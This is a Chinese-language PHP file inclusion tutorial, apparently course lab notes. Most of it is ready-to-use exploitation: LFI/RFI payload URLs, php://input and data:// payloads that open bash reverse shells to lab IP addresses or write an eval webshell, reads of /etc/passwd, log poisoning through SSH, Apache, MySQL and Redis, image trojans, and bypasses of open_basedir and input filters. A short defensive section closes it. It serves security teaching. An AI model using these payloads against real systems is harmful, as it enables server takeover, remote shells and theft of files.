文件包含漏洞

2,280 阅读7分钟

文件包含漏洞

一、文件包含漏洞概述

概述

文件包含漏洞(File Inclusion Vulnerability)属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码;简单来说就是一个文件里面包含另外一个或多个文件。

但我们除了包含常规的代码文件外,包含的任意后缀文件都会被当作代码执行,因此,如果有允许用户控制包含文件路径的点,那么则很有可能包含非预期文件,从而执行非预期的代码导致getshell。

几乎所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在PHP居多,在JSP、ASP中十分少甚至没有,问题在于语言设计的弊端。

文件包含业务场景
  1. 在代码复用时场景,经常使用到文件包含技术;
  2. 项目需要热更新的场景也可以使用文件包含技术;
  3. 在编写一些框架代码时会使用到文件包含技术;

文件包含漏洞分类

PHP中的文件包含分为本地文件包含和远程文件包含。

本地文件包含 LFI

本地文件包含 Local File Include (LFI)

所包含文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。

所包含文件内容不符合PHP语法规范,会暴露其源代码(相当于文件读取)。

无论是什么类型的文件,只要其中含有合法PHP代码,PHP就可以包含并执行,如果没有,就会以纯文本形式显示文件中的内容;

远程文件包含 RFI

远程文件包含 Remote File Include (RFI)

远程包含与本地包含没有区别,无非是支持远程加载,更容易getshell,无论是哪种扩展名,只要遵循PHP语法规范,PHP解析器就会对其解析。

PHP文件相关配置

需要修改/opt/lampp/etc/php.ini,注意需要重启lampp服务器

allow_url_fopen=On    (默认开启)   本地包含
allow_url_include=On  (默认为Off)  远程包含

文件包含漏洞危害

  • 文件上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、可执行程序等。
  • 如果Web 服务器所保存上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。
  • 如果攻击者通过其他漏洞进行提权操纵,拿到系统管理权限,那么直接导致服务器沦陷。
  • 同服务器下的其他网站无一幸免,均会被攻击者控制。

img

二、文件包含语法

PHP页面

<?php
  $file=$_GET['file'];
  include($file);
?>

常用文件包含

本地文件包含 - PHP文件
http://www.dlrb.com/news/admin/home.php?page=/etc/passwd
http://www.dlrb.com/news/admin/home.php?page=/opt/lampp/htdocs/news/upload/sys.jpg
http://www.dlrb.com/news/admin/home.php?page=/opt/lampp/htdocs/news/upload/sys.txt
目录穿越 目录飞跃
http://www.dlrb.com/news/admin/home.php?page=../../../../../../../../../../etc/passwd
本地包含 - 传递参数

本地包含传递参数需要使用&来传递

https://www.dlrb.com/news/admin/home.php?page=/opt/lampp/htdocs/news/upload/abc.php&cmd=phpinfo();
http://www.dlrb.com/news/admin/home.php?page=/opt/lampp/htdocs/news/upload/abc.txt&cmd=phpinfo();
http://www.dlrb.com/news/admin/home.php?cmd=phpinfo();&page=/opt/lampp/htdocs/news/upload/abc.txt
远程包含 - 其他文件

其他文件是将其他文件中的文本拿到靶机上解析运行

php是在攻击者服务器运行在导入到靶机

不要远程包含php文件。

https://www.dlrb.com/news/admin/home.php?page=http://www.wowo.com/woniu/phpinfo.txt
https://www.dlrb.com/news/admin/home.php?page=http://www.wowo.com/woniu/shell.jpg
远程包含 - 传递参数

远程PHP文件携带参数时必须使用?来传递参数

其他文件需要使用&来传递参数

https://www.dlrb.com/news/admin/home.php?page=http://www.wowo.com/woniu/phpinfo.txt&cmd=phpinfo();
https://www.dlrb.com/news/admin/home.php?page=http://www.wowo.com/woniu/phpinfo.php?cmd=phpinfo();

三、文件包含的高级利用

伪协议

PHP伪协议是指可以通过 PHP 脚本来访问的协议,它允许通过 PHP 脚本来处理数据流,而不是通过文件系统去访问真实的文件。这种协议常常用于处理内存中的数据或者其他来源的数据流。

file : 本地文件
http : 远程文件
ftp : ftp服务器上的文件
input: 只读流
php : 输入输出流
zlib : 压缩流
data : 数据流
glob : 查找匹配的文件路径模式
phar : php归档
ssh2 : Secure Shell 2
rar : RAR压缩
ogg : 音频流
expect : 处理交互式的流

伪协议使用

php://input()

将用户输入的内容直接显示在页面中。并且输入的内容中包含php代码的情况,php代码会被执行。

php://input 可以访问请求的原始数据的只读流,将POST请求的数据当作PHP代码执行。

前提:需要开启allow_url_include=On,对 allow_url_fopen 不做要求

建议,发包,抓包在包中更改post传参

image-20241016163845415

payload
http://www.dlrb.com/wowo/index.php?file=php://input
Post DATA
<?php phpinfo();?>
<?php echo `bash -i >& /dev/tcp/192.168.88.136/8888 0>&1`; ?>
<?php echo system("bash -i >& /dev/tcp/192.168.88.222/9001 0>&1"); ?>
<?php echo shell_exec("ls"); ?>
php://filter(文件读取)

php://filter 可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码(base64)让其不执行。从而导致任意文件读取。

前提:只是读取,所以只需要开启allow_url_fopen,对allow_url_include 不做要求。

payload
http://www.dlrb.com/news/admin/home.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
http://www.dlrb.com/news/admin/home.php?page=php://filter/convert.base64-encode/resource=home.php
http://www.dlrb.com/news/admin/home.php?page=php://filter/read=convert.base64-encode/resource=home.php

image-20241016165018492

zip://

zip://可以访问压缩文件中的文件,且只能读取第一层文件夹下文件,并把读取后的内容进行解析。如果文件内容中包含php代码则会执行该php代码。

前提:使用zip协议,需要使用绝对路径,需要#把压缩文件路径和压缩文件的子文件名隔开,并且要将#编码为%23,所以需要PHP的版本>=5.3.0,要是因为版本的问题无法将#编码成%23,可以手动把#改成%23

1. 创建带有危险文件的压缩文件
   zip -r lyf.zip shell.txt
   注意 没有 zip 则需要下载 yum install -y zip
2. 将压缩包上传到靶机可访问目录
3. payload
   http://www.dlrb.com/wowo/index.php?file=zip:///opt/lampp/htdocs/wowo/lyf.zip%23shell.txt&cmd=phpinfo();

image-20241016170822120

phar://

与zip://协议类似但用法不同,zip://伪协议中是用#把压缩文件路径和压缩文件的子文件名隔开,而phar://伪协议中是用 / 把压缩文件路径和压缩文件的子文件名隔开。

前提:PHP的版本>=5.3.0

1. 创建带有危险文件的压缩文件
   zip -r lyf.zip shell.txt
   注意 没有 zip 则需要下载 yum install -y zip
2. 将压缩包上传到靶机可访问目录
3. payload
   http://www.dlrb.com/wowo/index.php?file=phar:///opt/lampp/htdocs/wowo/lyf.zip/shell.txt&cmd=phpinfo();
data://

data://伪协议和php伪协议的input类似,也可以将用户输入的内容直接显示在页面中。并且输入的内容中包含php代码的情况,php代码会被执行。

前提:PHP的版本>=5.2,并且allow_url_fopen参数与allow_url_include都需开启

payload
http://www.dlrb.com/wowo/index.php?file=data://,<?php phpinfo();?>
http://www.dlrb.com/wowo/index.php?file=data://,福报 <?php phpinfo();?>
http://www.dlrb.com/wowo/index.php?file=data://,福报反弹 <?php echo system("bash -i >%26 /dev/tcp/192.168.88.136/8888 0>%261"); ?>
注意 & 需要编码 不然理解为传参 & -> %26

http://www.dlrb.com/wowo/index.php?file=data:text/plan,文件包含成功<?php phpinfo();?>

getshel
http://www.dlrb.com/wowo/index.php?file=data:text/plan,sys.php文件写入成功<?php file_put_contents("/opt/lampp/htdocs/woniu/uploads/sys.php",'<?php @eval(@$_REQUEST["cmd"]);?>');?>
file://

file://用于访问本地文件系统,且不受allow_url_fopen与allow_url_include的影响。

前提:包含的文件要文件的绝对路径

payload
http://www.dlrb.com/wowo/index.php?file=file:///etc/passwd

image-20241016171920716

四、文件包含灵活应用

文件包含灵活应用的点 LFI

日志文件往往会包含我们的请求记录,如果我们知道日志的文件位置,那么我们就可以将恶意的PHP代码写入到日志中,然后再通过文件包含漏洞就可以执行相关的代码。ssh apache mysql tomcat 。。。

SSH日志应用

使用ssh连接ip地址将恶意代码注入日志中,然后可包含该日志文件。 默认情况下为/var/log/secure,注意需要给该文件添加权限

1. 攻击者 利用恶意代码构建 SSH 登录靶机
   ssh "<?php phpinfo();?>"@靶机IP地址
   或者
   ssh 靶机IP地址 -l "<?php phpinfo();?>"
注意 写没有权限问题读的时候有,常用于留后门
2. payload
   http://www.dlrb.com/wowo/index.php?file=/var/log/secure

image-20241016172840201

Apache日志应用

很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access_log,当发生错误时将错误写入error_log。默认情况下,日志保存路径在 /opt/lampp/logs,日志文件需要授予读取权限

1. Apache日志应用 开启 Yakit
2. 在任意请求访问地址 中携带 <?php phpinfo();?>
3. 拦包 将被转码的 %3C?php%20phpinfo();?%3E 的  < > 变回原来的样子 %20 变为正常的空格
4. 文件包含 access_log 的绝对路径
   http://www.dlrb.com/wowo/index.php?file=/opt/lampp/logs/access_log 

image-20241016174309868

MySQL日志应用

前提:my.ini 中开启日志,日志保存路径在 /opt/lampp/logs,日志文件 mysql.log,日志文件需要授予读取权限

1. 找到登录 注册 等用户可以参与输入的点  
2. 我们想让他报错 不容易,想成功很容易
3. username "<?php phpinfo();?>" password  "123123"
   select * from users where username = "<?php phpinfo();?>" and password="123123";
4. 只要成功表示我们的恶意代码注入成功
5. payload
   http://www.dlrb.com/wowo/index.php?file=/opt/lampp/logs/mysql.log

image-20241016174456020

image-20241016174535194

Redis持久化文件应用

需要连接到靶机的Redis,可以对他进行持久化修改,指定目录有写入权限

1. 连接靶机的 Redis
2. 确定其持久化文件目录 如果你有读的权限就不需要改 建议修改 /tmp
   config get dir 查看 
   config set dir /tmp
3. 查看 持久化文件名称 dump.rdb  不建议修改
   config get dbfilename  查看
   config set dbfilename rd.rdb
4. 设置键值对
   set hacker   "    <?php phpinfo();?>    "
5. 进行redis持久化
   save
6. payload
   http://www.dlrb.com/wowo/index.php?file=/tmp/lyf.txt

image-20241016175611945

图片木马应用

一般情况下在业务系统中都会有图片上传功能,我们利用图片上传功能将图片马上传到目标服务器即可。例:头像上传、导入数据、上传banner、上传商品图片等等。

图片上传后通过php报错可以拿到apache的绝对路径,而图片上传成功后一般会回示这张图片可以拿到图片的相对路径,拿到的绝对路径和图片相对路径拼接在一起变成图片的绝对路径。从而使用文件包含来利用图片马。

1. 制作图片木马
    Widnows: copy /b 图片文件.png + 木马文件.php
    Linux: cat 木马文件.php >> 图片文件.png
2. 制作的图片可能不被识别 里面包含了很多很多很多乱七八糟的代码 有可能就被PHP所识别且报错
3. 建议直接修改一句话木马的扩展名
4. payload
   http://www.dlrb.com/wowo/index.php?file=/opt/lampp/htdocs/woniu/uploads/abc.jpg
   Post data
   cmd=phpinfo();

image-20241016175922747

五、文件包含防御与绕过

限制访问路径

open_basedir 是php.ini中的一个配置选项。可以用作与用户访问文件的活动范围限制在指定的区域,假设 open_basedir=/opt/lampp/htdocs/woniu:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/opt/lampp/htdocs/woniu和/tmp 这两个目录以外的文件

payload1 悖论
系统级别的命令 无法拦截
shell_exec exec system `` 
payload2 
smlink() 函数创建一个从指定名称连接的现存目标文件开始的符号连接 软链接
步骤一 创建一个文件 sys.txt 上传到指定目录 我们一般是在攻击者服务器操作
symlink("A/B/C/D/E/F/G","dlrb");
symlink("dlrb/../../../../../etc/passwd","exp");
unlink("dlrb");
mkdir("dlrb");
步骤二 靶机将文件包含
http://www.dlrb.com/wowo/index.php?file=/opt/lampp/htdocs/wowo/sys.txt
要是远程需要支持远程包含
http://www.dlrb.com/wowo/index.php?file=http://www.lyf.com/attack/sys.txt
步骤三 靶机访问 exp
http://www.dlrb.com/wowo/exp
注意
pyload2构造的注意点是:要读的文件需要往前跨多少路径,就得创建多少层的子目录。然后输入多少个 ../来设置目标文件。

过滤输入

过滤.(点)/(正斜杠)\(反斜杠)等特殊字符,禁止目录跳转字符如../。

1. ./  替换成 url_waf 
2. ../ 替换成 url_waf 
3. etc passwd tmp ... 替换成 url_waf 
$file = str_replace("./","url_waf",$file);
$file = str_replace("../","url_waf",$file);
$file = str_replace( "tmp","url_waf",$file);
$file = str_replace( "etc","url_waf",$file);
$file = str_replace( "passwd","url_waf",$file);
除了PHP外可以使用 URL 编码绕过
./ 的编码为:%2e%2f
../ 的编码为:%2e%2e%2f
..\ 的编码为:%2e%2e%5c

配置前缀

使用文件绝对路径进行拼接过滤

$file = @$_GET['file'];
include("/opt/lampp/htdocs/wowo/" . $file);
payload
http://www.dlrb.com/wowo/index.php?file=../../../../../../../../../../../../../etc/passwd

配置后缀

使用文件后缀作为过滤

$file = @$_GET['file'];
include($file . ".jpg");
payload
首先你需要熟知 后缀名
1. 想加载的文件扩展名与配置的一致,本地远程都可以
   图片马包含 <?php file_put_contents("shell.php",'<?php @eval(@$_REQUEST["cmd"]);?>');?>
   http://www.dlrb.com/wowo/index.php?file=http://www.lyf.com/attack/img/security-20241017104142
2. 上线木马即可 如果是图片包含一句话木马 可能会到导致 一句话木马参数无法传递 主要是无法使用 & 可尝试换成 ?
3. phar绕过
   http://www.dlrb.com/woniu/test.php?file=phar:///opt/lampp/htdocs/woniu/aaa.zip/abc

配置前缀 + 后缀

使用文件绝对路径 + 文件后缀作为过滤

include "/opt/lampp/htdocs/woniu/" . $file . ".jpg";
payload 上传指定图片马
http://www.dlrb.com/woniu/test.php?file=shell
拼接 /opt/lampp/htdocs/woniu/shell.jpg

防御建议

关闭高危配置

PHP文件配置allow_url_include和allow_url_fopen最小权限化。

文件白名单

对需要包含的文件设置文件白名单,包含文件的验证。

$file = @$_GET['file'];
$file_w = ["index","show","edit","about"];
// 验证所请求的页面是否存在,存在则包含该页面,不存在则返回404页面。
if (in_array($file, $file_w)) {
    include("/opt/lampp/htdocs/woniu/admin/". $file. '.php');
} else {
    echo 'Page not found!';
}
避免参数

尽量不要使用动态包含,可以在需要包含的页面固定写好。